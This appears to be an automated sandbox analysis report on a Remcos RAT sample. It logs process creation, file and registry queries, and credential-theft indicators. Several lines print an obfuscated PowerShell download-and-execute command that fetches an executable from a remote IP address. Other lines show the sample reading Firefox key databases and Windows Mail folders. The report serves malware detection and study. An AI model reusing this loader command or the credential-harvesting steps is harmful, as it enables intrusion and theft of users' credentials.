Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -ex bypass -nop -w 1 -c devicecredentialdeployment.exe ; iex($(iex('[system.text.encoding]'+[char]0x3a+[char]0x3a+'utf8.getstring([system.convert]'+[char]58+[char]58+'frombase64string('+[char]34+'jeflicagicagicagicagicagicagicagicagicagicagicagpsagicagicagicagicagicagicagicagicagicagicagiefezc10evblicagicagicagicagicagicagicagicagicagicagicaglw1ltwjlukrlzmluavrpt24gicagicagicagicagicagicagicagicagicagicagicanw0rsbeltcg9ydcgivvjmtu9olkrsbcisicagicagicagicagicagicagicagicagicagicagicagq2hhclnldca9ienoyxjtzxquvw5py29kzsldchvibgljihn0yxrpyyblehrlcm4gsw50uhryifvstervd25sb2fkvg9gawxlkeludfb0ciagicagicagicagicagicagicagicagicagicagicagiez3d0ssc3ryaw5nicagicagicagicagicagicagicagicagicagicagicagrehbsgdcreysc3ryaw5nicagicagicagicagicagicagicagicagicagicagicagqkhzlhvpbnqgicagicagicagicagicagicagicagicagicagicagicbuvyxjbnrqdhigicagicagicagicagicagicagicagicagicagicagicbwdxphbuvkktsnicagicagicagicagicagicagicagicagicagicagicaglu5btuugicagicagicagicagicagicagicagicagicagicagicaic3miicagicagicagicagicagicagicagicagicagicagicaglw5btuvzugfdzsagicagicagicagicagicagicagicagicagicagicagielrc250tgdtu3f0icagicagicagicagicagicagicagicagicagicagicaglvbhc3nuahj1oyagicagicagicagicagicagicagicagicagicagicagicrbszo6vvjmrg93bmxvywrub0zpbguomcwiahr0cdovlze5mi4zljiymc4ymi80mzavzgxsag9zdc5leguilcikzw52okfquerbvefczgxsag9zdc5leguildasmck7c3rhclqtc2xfrxaomyk7u1rhunqgicagicagicagicagicagicagicagicagicagicagicaijevuvjpbufbeqvrbxgrsbghvc3quzxhlig=='+[char]0x22+'))')))" Jump to behavior
Source: C:\Windows\System32\mshta.exe Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" "/c powershell -ex bypass -nop -w 1 -c devicecredentialdeployment.exe ; iex($(iex('[system.text.encoding]'+[char]0x3a+[char]0x3a+'utf8.getstring([system.convert]'+[char]58+[char]58+'frombase64string('+[char]34+'jeflicagicagicagicagicagicagicagicagicagicagicagpsagicagicagicagicagicagicagicagicagicagicagiefezc10evblicagicagicagicagicagicagicagicagicagicagicaglw1ltwjlukrlzmluavrpt24gicagicagicagicagicagicagicagicagicagicagicanw0rsbeltcg9ydcgivvjmtu9olkrsbcisicagicagicagicagicagicagicagicagicagicagicagq2hhclnldca9ienoyxjtzxquvw5py29kzsldchvibgljihn0yxrpyyblehrlcm4gsw50uhryifvstervd25sb2fkvg9gawxlkeludfb0ciagicagicagicagicagicagicagicagicagicagicagiez3d0ssc3ryaw5nicagicagicagicagicagicagicagicagicagicagicagrehbsgdcreysc3ryaw5nicagicagicagicagicagicagicagicagicagicagicagqkhzlhvpbnqgicagicagicagicagicagicagicagicagicagicagicbuvyxjbnrqdhigicagicagicagicagicagicagicagicagicagicagicbwdxphbuvkktsnicagicagicagicagicagicagicagicagicagicagicaglu5btuugicagicagicagicagicagicagicagicagicagicagicaic3miicagicagicagicagicagicagicagicagicagicagicaglw5btuvzugfdzsagicagicagicagicagicagicagicagicagicagicagielrc250tgdtu3f0icagicagicagicagicagicagicagicagicagicagicaglvbhc3nuahj1oyagicagicagicagicagicagicagicagicagicagicagicrbszo6vvjmrg93bmxvywrub0zpbguomcwiahr0cdovlze5mi4zljiymc4ymi80mzavzgxsag9zdc5leguilcikzw52okfquerbvefczgxsag9zdc5leguildasmck7c3rhclqtc2xfrxaomyk7u1rhunqgicagicagicagicagicagicagicagicagicagicagicaijevuvjpbufbeqvrbxgrsbghvc3quzxhlig=='+[char]0x22+'))')))"
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -ex bypass -nop -w 1 -c devicecredentialdeployment.exe ; iex($(iex('[system.text.encoding]'+[char]0x3a+[char]0x3a+'utf8.getstring([system.convert]'+[char]58+[char]58+'frombase64string('+[char]34+'jeflicagicagicagicagicagicagicagicagicagicagicagpsagicagicagicagicagicagicagicagicagicagicagiefezc10evblicagicagicagicagicagicagicagicagicagicagicaglw1ltwjlukrlzmluavrpt24gicagicagicagicagicagicagicagicagicagicagicanw0rsbeltcg9ydcgivvjmtu9olkrsbcisicagicagicagicagicagicagicagicagicagicagicagq2hhclnldca9ienoyxjtzxquvw5py29kzsldchvibgljihn0yxrpyyblehrlcm4gsw50uhryifvstervd25sb2fkvg9gawxlkeludfb0ciagicagicagicagicagicagicagicagicagicagicagiez3d0ssc3ryaw5nicagicagicagicagicagicagicagicagicagicagicagrehbsgdcreysc3ryaw5nicagicagicagicagicagicagicagicagicagicagicagqkhzlhvpbnqgicagicagicagicagicagicagicagicagicagicagicbuvyxjbnrqdhigicagicagicagicagicagicagicagicagicagicagicbwdxphbuvkktsnicagicagicagicagicagicagicagicagicagicagicaglu5btuugicagicagicagicagicagicagicagicagicagicagicaic3miicagicagicagicagicagicagicagicagicagicagicaglw5btuvzugfdzsagicagicagicagicagicagicagicagicagicagicagielrc250tgdtu3f0icagicagicagicagicagicagicagicagicagicagicaglvbhc3nuahj1oyagicagicagicagicagicagicagicagicagicagicagicrbszo6vvjmrg93bmxvywrub0zpbguomcwiahr0cdovlze5mi4zljiymc4ymi80mzavzgxsag9zdc5leguilcikzw52okfquerbvefczgxsag9zdc5leguildasmck7c3rhclqtc2xfrxaomyk7u1rhunqgicagicagicagicagicagicagicagicagicagicagicaijevuvjpbufbeqvrbxgrsbghvc3quzxhlig=='+[char]0x22+'))')))"
Queries the volume information (name, serial number etc) of a device
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.Security.ApplicationId.PolicyManagement.Cmdlets\6.1.0.0__31bf3856ad364e35\Microsoft.Security.ApplicationId.PolicyManagement.Cmdlets.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.Security.ApplicationId.PolicyManagement.PolicyManager\6.1.0.0__31bf3856ad364e35\Microsoft.Security.ApplicationId.PolicyManagement.PolicyManager.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.Security.ApplicationId.PolicyManagement.PolicyModel\6.1.0.0__31bf3856ad364e35\Microsoft.Security.ApplicationId.PolicyManagement.PolicyModel.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\assembly\GAC_64\Microsoft.Security.ApplicationId.PolicyManagement.PolicyEngineApi.Interop\6.1.0.0__31bf3856ad364e35\Microsoft.Security.ApplicationId.PolicyManagement.PolicyEngineApi.Interop.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.Security.ApplicationId.PolicyManagement.XmlHelper\6.1.0.0__31bf3856ad364e35\Microsoft.Security.ApplicationId.PolicyManagement.XmlHelper.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.BackgroundIntelligentTransfer.Management\1.0.0.0__31bf3856ad364e35\Microsoft.BackgroundIntelligentTransfer.Management.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft.PowerShell.LocalAccounts\1.0.0.0\Microsoft.PowerShell.LocalAccounts.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.Windows.Diagnosis.TroubleshootingPack\6.1.0.0__31bf3856ad364e35\Microsoft.Windows.Diagnosis.TroubleshootingPack.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\assembly\GAC_64\Microsoft.Windows.Diagnosis.SDEngine\6.1.0.0__31bf3856ad364e35\Microsoft.Windows.Diagnosis.SDEngine.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Program Files (x86)\AutoIt3\AutoItX\AutoItX3.PowerShell.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.BackgroundIntelligentTransfer.Management\1.0.0.0__31bf3856ad364e35\Microsoft.BackgroundIntelligentTransfer.Management.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure.CimCmdlets\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.CimCmdlets.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.Security.ApplicationId.PolicyManagement.Cmdlets\6.1.0.0__31bf3856ad364e35\Microsoft.Security.ApplicationId.PolicyManagement.Cmdlets.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.Security.ApplicationId.PolicyManagement.PolicyManager\6.1.0.0__31bf3856ad364e35\Microsoft.Security.ApplicationId.PolicyManagement.PolicyManager.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.Security.ApplicationId.PolicyManagement.PolicyModel\6.1.0.0__31bf3856ad364e35\Microsoft.Security.ApplicationId.PolicyManagement.PolicyModel.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\assembly\GAC_64\Microsoft.Security.ApplicationId.PolicyManagement.PolicyEngineApi.Interop\6.1.0.0__31bf3856ad364e35\Microsoft.Security.ApplicationId.PolicyManagement.PolicyEngineApi.Interop.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.Security.ApplicationId.PolicyManagement.XmlHelper\6.1.0.0__31bf3856ad364e35\Microsoft.Security.ApplicationId.PolicyManagement.XmlHelper.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.BackgroundIntelligentTransfer.Management\1.0.0.0__31bf3856ad364e35\Microsoft.BackgroundIntelligentTransfer.Management.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft.PowerShell.LocalAccounts\1.0.0.0\Microsoft.PowerShell.LocalAccounts.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.BackgroundIntelligentTransfer.Management\1.0.0.0__31bf3856ad364e35\Microsoft.BackgroundIntelligentTransfer.Management.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure.CimCmdlets\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.CimCmdlets.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\secmod.db VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\cert8.db VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\key3.db VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell_ise.exe VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell_ise.exe VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure.CimCmdlets\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.CimCmdlets.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\secmod.db VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\cert8.db VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\key3.db VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell_ise.exe VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell_ise.exe VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure.CimCmdlets\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.CimCmdlets.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\secmod.db VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\cert8.db VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\key3.db VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\secmod.db VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\cert8.db VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\key3.db VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\secmod.db VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\cert8.db VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\key3.db VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Code function: 34_2_0041881C GetSystemTime,memcpy,GetCurrentProcessId,memcpy,GetTickCount,memcpy,QueryPerformanceCounter,memcpy, 34_2_0041881C
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Code function: 35_2_004082CD memset,memset,memset,memset,GetComputerNameA,GetUserNameA,MultiByteToWideChar,MultiByteToWideChar,MultiByteToWideChar,strlen,strlen,memcpy, 35_2_004082CD
Source: C:\Users\user\AppData\Roaming\dllhost.exe Code function: 11_2_0040333D EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,GetModuleHandleW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess, 11_2_0040333D
Source: C:\Windows\System32\mshta.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior

Stealing of Sensitive Information
barindex
Yara detected Remcos RAT
Source: Yara match File source: 00000021.00000002.1004764696.0000000006AA4000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: Vaccinerende.exe PID: 3116, type: MEMORYSTR
Searches for Windows Mail specific files
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Directory queried: C:\Users\user\AppData\Local\Microsoft\Windows Mail <.oeaccount
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Directory queried: C:\Users\user\AppData\Local\Microsoft\Windows Mail NULL
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Directory queried: C:\Users\user\AppData\Local\Microsoft\Windows Mail *
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Directory queried: C:\Users\user\AppData\Local\Microsoft\Windows Mail NULL
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Directory queried: C:\Users\user\AppData\Local\Microsoft\Windows Mail\Backup *
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Directory queried: C:\Users\user\AppData\Local\Microsoft\Windows Mail\Backup NULL
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Directory queried: C:\Users\user\AppData\Local\Microsoft\Windows Mail\Backup\new *
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Directory queried: C:\Users\user\AppData\Local\Microsoft\Windows Mail\Backup\new NULL
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Directory queried: C:\Users\user\AppData\Local\Microsoft\Windows Mail <.oeaccount
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Directory queried: C:\Users\user\AppData\Local\Microsoft\Windows Mail NULL
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Directory queried: C:\Users\user\AppData\Local\Microsoft\Windows Mail *
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Directory queried: C:\Users\user\AppData\Local\Microsoft\Windows Mail NULL
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Directory queried: C:\Users\user\AppData\Local\Microsoft\Windows Mail\Backup *
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Directory queried: C:\Users\user\AppData\Local\Microsoft\Windows Mail\Backup NULL
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Directory queried: C:\Users\user\AppData\Local\Microsoft\Windows Mail\Backup\new *
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Directory queried: C:\Users\user\AppData\Local\Microsoft\Windows Mail\Backup\new NULL
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Directory queried: C:\Users\user\AppData\Local\Microsoft\Windows Mail <.oeaccount
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Directory queried: C:\Users\user\AppData\Local\Microsoft\Windows Mail NULL
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Directory queried: C:\Users\user\AppData\Local\Microsoft\Windows Mail *
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Directory queried: C:\Users\user\AppData\Local\Microsoft\Windows Mail NULL
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Directory queried: C:\Users\user\AppData\Local\Microsoft\Windows Mail\Backup *
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Directory queried: C:\Users\user\AppData\Local\Microsoft\Windows Mail\Backup NULL
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Directory queried: C:\Users\user\AppData\Local\Microsoft\Windows Mail\Backup\new *
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Directory queried: C:\Users\user\AppData\Local\Microsoft\Windows Mail\Backup\new NULL
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Directory queried: C:\Users\user\AppData\Local\Microsoft\Windows Mail <.oeaccount
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Directory queried: C:\Users\user\AppData\Local\Microsoft\Windows Mail NULL
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Directory queried: C:\Users\user\AppData\Local\Microsoft\Windows Mail *
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Directory queried: C:\Users\user\AppData\Local\Microsoft\Windows Mail NULL
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Directory queried: C:\Users\user\AppData\Local\Microsoft\Windows Mail\Backup *
